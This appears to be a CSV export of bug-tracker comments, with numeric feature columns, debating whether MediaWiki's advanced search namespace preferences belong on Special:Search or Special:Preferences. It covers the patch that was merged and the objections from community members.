257255,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","I don't understand how clicking into Special:Preferences and then a subpage to set options for Special:SomePage is substantially less complicated than going to Special:SomePage and setting them there the first time you use it. Given that most changes to search options will be made on the fly during search experiences, requiring users to leave the special page, go into preferences and then come back (or change preferences in a new tab then reload the search) is a degradation of the UX.

> Preferences are preferences, please keep them together not scattered around the wiki.

""The wiki"" is a misunderstanding here. ""Preferences"" are operational modes for programs, and the special pages are a collection of small utility programs accompanying the core. There's no objective reason why their mode controls should be grouped together remotely with the core's. It's like having the windscreen wiper speed control as a switch on the engine instead of on the dashboard; old-school advanced users of that peculiarly-designed car may be fine with opening the hood to change it because ""it's always been there"", but that doesn't make doing it easy for everyone. A new car would seem particularly old-fashioned if it were still designed this way, and we should be trying to ensure that MediaWiki lives up to the interface design expectations of modern software.

> Please produce the evidence base for this change.

Pretty much every UX study ever that's shown that the further away you put a control from what it affects, the harder users find it to interact with, or even find in the first place - especially new users. It's the GUI-side version of [[Action at a distance (computer programming)]].

S (speaking only for myself, I'm not a MediaWiki developer)",,,1401721927,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0.5,0.25,0.0,0.75,0.75,5.5,1.25,0.25,0.0,0.25,1.0,0.75,0.0,0.25,0.25,1.0,0.75,7.75,10.5,0.25,1.25,0.5,0.0,0.25,0.25,0.0,0.0,0.25,0.25,0.5,0.25,4.75,1.75,2.5,0.0,0.5,0.25,0.0,0.5,0.5,0.25,0.5,0.0,2.0,0.0,0.25,0.0,0.0,0.5,13.5,0.5,0.75,0.0,0.25,0.0,0.0,0.0,0.0,1.0,0.25,0.25,1.0,0.0,0.25,0.25,0.0,0.5,7.5,2.75,6.75,1.75,2.0,8.75,0.0,0.0,0.0,0.0,4.25,0.0,0.0,0.0,4.5,10.5,2.75,0.0,1.5,0.0,4.5,0.0,1.0,2.75,0.5,2.5,0.5,0.25,0.5,4.134734058183955,0.748567440493682,"I don't understand how clicking into Special:Preferences and then a subpage to set options for Special:SomePage is substantially less complicated than going to Special:SomePage and setting them there the first time you use it. Given that most changes to search options will be made on the fly during search experiences, requiring users to leave the special page, go into preferences and then come back (or change preferences in a new tab then reload the search) is a degradation of the UX.

QUOTE

""The wiki"" is a misunderstanding here. ""Preferences"" are operational modes for programs, and the special pages are a collection of small utility programs accompanying the core. There's no objective reason why their mode controls should be grouped together remotely with the core's. It's like having the windscreen wiper speed control as a switch on the engine instead of on the dashboard; old-school advanced users of that peculiarly-designed car may be fine with opening the hood to change it because ""it's always been there"", but that doesn't make doing it easy for everyone. A new car would seem particularly old-fashioned if it were still designed this way, and we should be trying to ensure that MediaWiki lives up to the interface design expectations of modern software.

QUOTE

Pretty much every UX study ever that's shown that the further away you put a control from what it affects, the harder users find it to interact with, or even find in the first place - especially new users. It's the GUI-side version of [[Action at a distance (computer programming)]].

S (speaking only for myself, I'm not a MediaWiki developer)"
257247,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Clutter is removing unnecessary items, redundant items, messy items; clutter is not (re)moving a useful and considered page. So since when is a preference page like Search preference considered clutter? It is clear and specific.  Preferences are preferences, please keep them together not scattered around the wiki.

My attitude is not about any other item, please don't presume.

When I am setting up my preferences for a wiki it is very easy to go into preferences and change the settings that I want. Now you are going to make someone go to the search page to do it, off via other links. That is not more helpful.

If the issue that we give (too) much choice to users, and they are confronted about tabs, then produce a simple and an advanced choice plan. Please produce the evidence base for this change.

To the ""maybe I missed ..."". Have you missed the meaning of the word ""consultation"" and maybe seeking a broader opinion? 

That it is considered that bugzilla is a suitable place for working out a social solution is less than ideal, and yet it happens repeatedly. That a few didn't think it is worthwhile consulting with the broader community about this is disappointing.",,,1401720133,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,1.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,2.0,8.0,3.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,2.0,0.3333333333333333,7.0,10.0,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,8.0,2.3333333333333335,2.3333333333333335,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,1.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,12.666666666666666,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,6.666666666666667,5.666666666666667,6.333333333333333,2.6666666666666665,2.3333333333333335,8.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,5.666666666666667,10.0,0.3333333333333333,0.6666666666666666,1.6666666666666667,0.0,5.666666666666667,0.0,1.3333333333333333,3.3333333333333335,0.3333333333333333,2.0,1.6666666666666667,0.0,0.0,4.058076131687243,0.7064814814814815,"Clutter is removing unnecessary items, redundant items, messy items; clutter is not (re)moving a useful and considered page. So since when is a preference page like Search preference considered clutter? It is clear and specific.  Preferences are preferences, please keep them together not scattered around the wiki.

My attitude is not about any other item, please don't presume.

When I am setting up my preferences for a wiki it is very easy to go into preferences and change the settings that I want. Now you are going to make someone go to the search page to do it, off via other links. That is not more helpful.

If the issue that we give (too) much choice to users, and they are confronted about tabs, then produce a simple and an advanced choice plan. Please produce the evidence base for this change.

To the ""maybe I missed ..."". Have you missed the meaning of the word ""consultation"" and maybe seeking a broader opinion? 

That it is considered that bugzilla is a suitable place for working out a social solution is less than ideal, and yet it happens repeatedly. That a few didn't think it is worthwhile consulting with the broader community about this is disappointing."
257239,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to billinghurst from comment #20)
> It is disappointing that a cabal effect has
> taken place to what is a significant change to how things are done around
> here.

I'm sorry you see it that way; I suspect your attitude about this bug is affected by an unrelated change which got merged and reverted in these days after a MediaWiki RfC with a very obscure title. This is nothing like that. 

Maybe you missed something: https://bugzilla.wikimedia.org/showdependencygraph.cgi?id=62559&display=tree&rankdir=LR
If you did it's not your fault, implementation details discussed in each bug (like this) are just that, details; but it's safe to state that since some time ago there is wide consensus, and a strong push, towards reducing the clutter in MediaWiki by reducing interface complexity in general and Special:Preferences options specifically.",,,1401718043,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,48,,1.5,0.5,0.5,0.5,0.5,4.5,0.5,0.0,0.0,0.5,3.0,0.5,0.0,0.0,0.5,1.0,0.0,4.0,12.0,1.0,0.5,0.0,0.5,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,5.5,1.0,2.0,1.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,0.5,13.0,2.5,1.5,0.0,0.5,0.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,3.0,2.5,8.5,2.0,2.5,9.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,6.0,12.0,3.0,0.0,0.0,0.0,6.0,0.0,0.5,2.0,0.0,1.5,0.0,0.0,0.0,4.073529411764706,0.8308823529411764,"(In reply to billinghurst from comment #20)
QUOTE
QUOTE
QUOTE

I'm sorry you see it that way; I suspect your attitude about this bug is affected by an unrelated change which got merged and reverted in these days after a MediaWiki RfC with a very obscure title. This is nothing like that. 

Maybe you missed something: URL
If you did it's not your fault, implementation details discussed in each bug (like this) are just that, details; but it's safe to state that since some time ago there is wide consensus, and a strong push, towards reducing the clutter in MediaWiki by reducing interface complexity in general and Special:Preferences options specifically."
257231,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","**wmf.amgine3691** wrote:

Sucks as UX. Do we really want every special page to be creating and maintaining its own interface for user preferences?",,,1401717246,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,10.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.064516129032258,0.9032258064516129,"**wmf.amgine3691** wrote:

Sucks as UX. Do we really want every special page to be creating and maintaining its own interface for user preferences?"
257223,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Really? Preferences are preferences and have belonged in ... umm ... ""Preferences"". Shouldn't such a change have had a wider discussion than between eight and eleven people? Maybe it could have been trialled, and checked through the UI processes. Maybe have used the beta features for testing?

This seems a significant change that really could have had better rigour put to it for an implementation. It is disappointing that a cabal effect has taken place to what is a significant change to how things are done around here.",,,1401716325,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0.0,0.0,0.0,2.0,1.0,6.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,9.0,1.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,15.0,1.0,0.0,0.0,3.0,2.0,1.0,1.0,6.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,5.0,9.0,2.0,3.0,10.0,0.0,0.0,0.0,0.0,2.0,1.0,2.0,0.0,3.0,10.0,1.0,3.0,2.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,2.0,0.0,0.0,4.38,0.68,"Really? Preferences are preferences and have belonged in ... umm ... ""Preferences"". Shouldn't such a change have had a wider discussion than between eight and eleven people? Maybe it could have been trialled, and checked through the UI processes. Maybe have used the beta features for testing?

This seems a significant change that really could have had better rigour put to it for an implementation. It is disappointing that a cabal effect has taken place to what is a significant change to how things are done around here."
257216,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","There's a very similar move of preferences to page proposed at Bug 48615, for Special:Watchlist. As this change has met approval, it would be great if that bug could see movement - not least because this change will now cause a preference location inconsistency, if you see what I mean.",,,1401713735,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0.0,0.0,2.0,0.0,2.0,5.0,2.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,7.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.0,2.0,10.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,5.0,14.0,3.0,0.0,0.0,0.0,5.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,4.086206896551724,0.8620689655172413,"There's a very similar move of preferences to page proposed at Bug 48615, for Special:Watchlist. As this change has met approval, it would be great if that bug could see movement - not least because this change will now cause a preference location inconsistency, if you see what I mean."
257210,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Bohdan from comment #16)
> Also why to do a small change on specific WMF wiki's config it's community
> must hold 1 weeks discussion but a change concerning to all MediaWiki wikis
> it being done with no discussion at all?

How is the long comment thread above, and the even longer review list on the change itself, ""no discussion at all""? There was discussion, you just didn't participate.

Config changes are not handled by any of the people who were involved in this, except maybe occasionally. Ask the people who handle them about why they have their requirements.",,,1401661235,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,47,,2.0,0.0,0.0,2.0,2.0,1.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,14.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,5.0,10.0,3.0,1.0,9.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,6.0,11.0,3.0,1.0,2.0,0.0,6.0,0.0,5.0,0.0,2.0,0.0,1.0,0.0,0.0,3.896551724137931,0.7816091954022989,"(In reply to Bohdan from comment #16)
QUOTE
QUOTE
QUOTE

How is the long comment thread above, and the even longer review list on the change itself, ""no discussion at all""? There was discussion, you just didn't participate.

Config changes are not handled by any of the people who were involved in this, except maybe occasionally. Ask the people who handle them about why they have their requirements."
257206,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Bohdan from comment #15)
> Why on Earth I must run through lots of pages to set personal configuration

Lots? As far as I know Special:Preferences contains options for about 3 special pages. It's also less common for users to set preferences for Special:Search without ever having visited it: so the action of tweaking preferences will happen in a visit to Special:Search which would have happened anyway, and the total number of special pages visited should be lower (because it's not necessary to switch to Special:Preferences to save the search options you just selected).",,,1401653038,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,47,,0.0,0.0,0.0,0.0,1.0,6.5,1.0,1.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,6.5,12.0,0.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,0.0,2.5,0.5,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,10.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.5,1.0,9.5,1.0,1.0,4.5,0.0,0.0,0.0,0.5,5.5,0.0,1.0,0.0,3.5,12.0,3.0,0.5,0.0,0.0,3.5,0.0,1.0,1.0,0.0,0.5,1.5,0.0,0.0,4.155478955007257,0.8760885341074021,"(In reply to Bohdan from comment #15)
QUOTE

Lots? As far as I know Special:Preferences contains options for about 3 special pages. It's also less common for users to set preferences for Special:Search without ever having visited it: so the action of tweaking preferences will happen in a visit to Special:Search which would have happened anyway, and the total number of special pages visited should be lower (because it's not necessary to switch to Special:Preferences to save the search options you just selected)."
257201,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself",Also why to do a small change on specific WMF wiki's config it's community must hold 1 weeks discussion but a change concerning to all MediaWiki wikis it being done with no discussion at all?,,,1401651920,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,47,,5.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,8.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,5.0,13.0,5.0,3.0,0.0,0.0,5.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,4.131578947368421,0.8157894736842105,Also why to do a small change on specific WMF wiki's config it's community must hold 1 weeks discussion but a change concerning to all MediaWiki wikis it being done with no discussion at all?
257195,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself",Why on Earth I must run through lots of pages to set personal configuration for myself on a wiki? I think the best is to keep both central place for changing config in preferences and page specific on appropriate pages.,,,1401651761,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,47,,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,24.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,10.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,24.0,2.0,2.0,0.0,0.0,7.0,0.0,2.0,2.0,2.0,2.0,0.0,2.0,0.0,4.285714285714286,0.8571428571428571,Why on Earth I must run through lots of pages to set personal configuration for myself on a wiki? I think the best is to keep both central place for changing config in preferences and page specific on appropriate pages.
257193,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Thanks for all the help, Chad and Bartosz.
Let's get bug 31881 fixed in 1.24. :)",,,1401513089,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,47,,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,10.0,0.0,10.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,0.9523809523809523,"Thanks for all the help, Chad and Bartosz.
Let's get bug 31881 fixed in 1.24. :)"
257191,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Change 131727 merged by jenkins-bot:
Save advanced search namespace prefs on Special:Search itself

https://gerrit.wikimedia.org/r/131727",,,1401486201,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,47,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,4.714285714285714,0.9523809523809523,"Change 131727 merged by jenkins-bot:
Save advanced search namespace prefs on Special:Search itself

GERRIT_URL"
257187,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Well, exact colouring is debatable, however we still have to consider colour-blind and blind users. Thus I believe that colour-highlighting is not a good idea.",,,1401292566,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,47,,0.0,0.0,0.0,0.0,3.0,15.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,3.0,12.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,9.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,0.8181818181818182,"Well, exact colouring is debatable, however we still have to consider colour-blind and blind users. Thus I believe that colour-highlighting is not a good idea."
257181,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Jesús Martínez Novo (Ciencia Al Poder) from comment #9)
and
(In reply to Nemo from comment #10)

Use Colored-highlights, and a Legend, for 
* These options are the site-defaults
* These options are your customized defaults
* These options are selected for just-this-search.

This will also solve the ""what were the defaults? I (might) want to reset!"" issue.

My ugly mockup/napkin-sketches, from an unrelated topic, just to inspire further thinking: 
https://i.imgur.com/IcEWCzF.png
https://i.imgur.com/tOJOsXG.png",,,1401232148,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,47,,0.0,0.0,0.0,1.5,0.0,2.5,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,2.5,7.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,1.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.5,1.5,2.0,1.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5,2.5,12.0,0.0,1.0,7.0,0.0,0.0,1.0,1.0,3.5,0.0,1.0,0.0,2.0,7.0,6.0,1.0,1.5,0.0,2.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,3.4322033898305087,0.7203389830508475,"(In reply to Jesús Martínez Novo (Ciencia Al Poder) from comment #9)
and
(In reply to Nemo from comment #10)

Use Colored-highlights, and a Legend, for 
* These options are the site-defaults
* These options are your customized defaults
* These options are selected for just-this-search.

This will also solve the ""what were the defaults? I (might) want to reset!"" issue.

My ugly mockup/napkin-sketches, from an unrelated topic, just to inspire further thinking: 
URL
URL"
257177,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","The behaviour is similar to what happens with the login checkbox, I can't imagine it being so confusing. Only few users very used to the wiki will set their preferred namespaces before their first search.

We can grey out the checkbox when the selection wasn't changed, but that can be done on a separate patch IMHO; a visual confirmation is provided by the checkboxes themselves, which are preserved the next time.",,,1399498482,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,44,,1.0,0.0,1.0,5.0,2.0,10.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,5.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,14.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,1.0,0.0,0.0,11.0,7.0,6.0,1.0,1.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,9.0,1.0,0.0,0.0,0.0,7.0,0.0,4.0,2.0,1.0,0.0,0.0,0.0,0.0,4.271604938271605,0.8024691358024691,"The behaviour is similar to what happens with the login checkbox, I can't imagine it being so confusing. Only few users very used to the wiki will set their preferred namespaces before their first search.

We can grey out the checkbox when the selection wasn't changed, but that can be done on a separate patch IMHO; a visual confirmation is provided by the checkboxes themselves, which are preserved the next time."
257171,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","The idea is good. Now that I see the implementation, it implies you have to perform the search *after* marking that checkbox for it to be saved in your preferences.

Don't get me wrong, I'd also think that you have to mark the checkbox before performing the search, but people not so familiar with web forms may find it not too obvious.

A possible solution to this that I'm thinking of: add a button that on click would change the preferences using an AJAX call, with a visual feedback of the settings being saved.

Also, a checkbox may look weird if you mark it, and after performing the search it remains unchecked (did I checked it when performing the search? or was it totally ignored?).",,,1399497275,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,44,,0.0,0.0,0.5,1.0,1.5,5.5,0.5,0.0,0.0,0.5,0.5,1.5,0.5,0.0,0.0,3.0,2.0,5.5,10.0,0.0,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,1.5,5.0,3.5,4.0,0.5,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.5,10.5,0.5,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,1.5,0.5,0.0,0.0,8.5,2.5,5.5,2.5,2.0,9.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,10.0,0.0,1.5,0.0,0.0,9.0,0.0,2.0,3.0,0.5,3.5,0.0,0.0,0.0,3.832972972972973,0.7451351351351352,"The idea is good. Now that I see the implementation, it implies you have to perform the search *after* marking that checkbox for it to be saved in your preferences.

Don't get me wrong, I'd also think that you have to mark the checkbox before performing the search, but people not so familiar with web forms may find it not too obvious.

A possible solution to this that I'm thinking of: add a button that on click would change the preferences using an AJAX call, with a visual feedback of the settings being saved.

Also, a checkbox may look weird if you mark it, and after performing the search it remains unchecked (did I checked it when performing the search? or was it totally ignored?)."
257168,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Created attachment 15314
Current appearance of the feature

Screenshot of the feature as currently coded. It's just one more checkbox next to a few dozens: the HTML needs to be improved a bit but it's really straightforward from an interface perspective.

//attachment Bug52817.png ignored as obsolete//",,,1399474582,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,44,,2.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,11.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,13.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,4.833333333333333,0.8148148148148148,"Created attachment 15314
Current appearance of the feature

Screenshot of the feature as currently coded. It's just one more checkbox next to a few dozens: the HTML needs to be improved a bit but it's really straightforward from an interface perspective.

//attachment Bug52817.png ignored as obsolete//"
257164,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Change 131727 had a related patch set uploaded by Nemo bis:
[WIP] Save advanced search namespace prefs on Special:Search itself

